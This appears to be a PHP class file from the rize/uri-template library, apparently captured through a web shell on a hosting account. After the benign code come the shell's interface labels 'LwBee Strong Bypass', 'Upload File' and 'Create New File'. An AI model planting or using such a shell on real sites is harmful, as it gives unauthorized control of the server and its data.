/home/aloic1/public_html/core/vendor/rize/uri-template/src/Rize/UriTemplate/Node/Variable.php
<?php
namespace Rize\UriTemplate\Node;
/**
* Description
*/
class Variable extends Abstraction
{
/**
* Variable name without modifier
* e.g. 'term:1' becomes 'term'
*/
public $name,
$options = array(
'modifier' => null,
'value' => null,
);
public function __construct($token, array $options = array())
{
parent::__construct($token);
$this->options = $options + $this->options;
// normalize var name e.g. from 'term:1' becomes 'term'
$name = $token;
if ($options['modifier'] === ':') {
$name = substr($name, 0, strpos($name, $options['modifier']));
}
$this->name = $name;
}
}
@LwBee Strong Bypass
Upload File
Create New File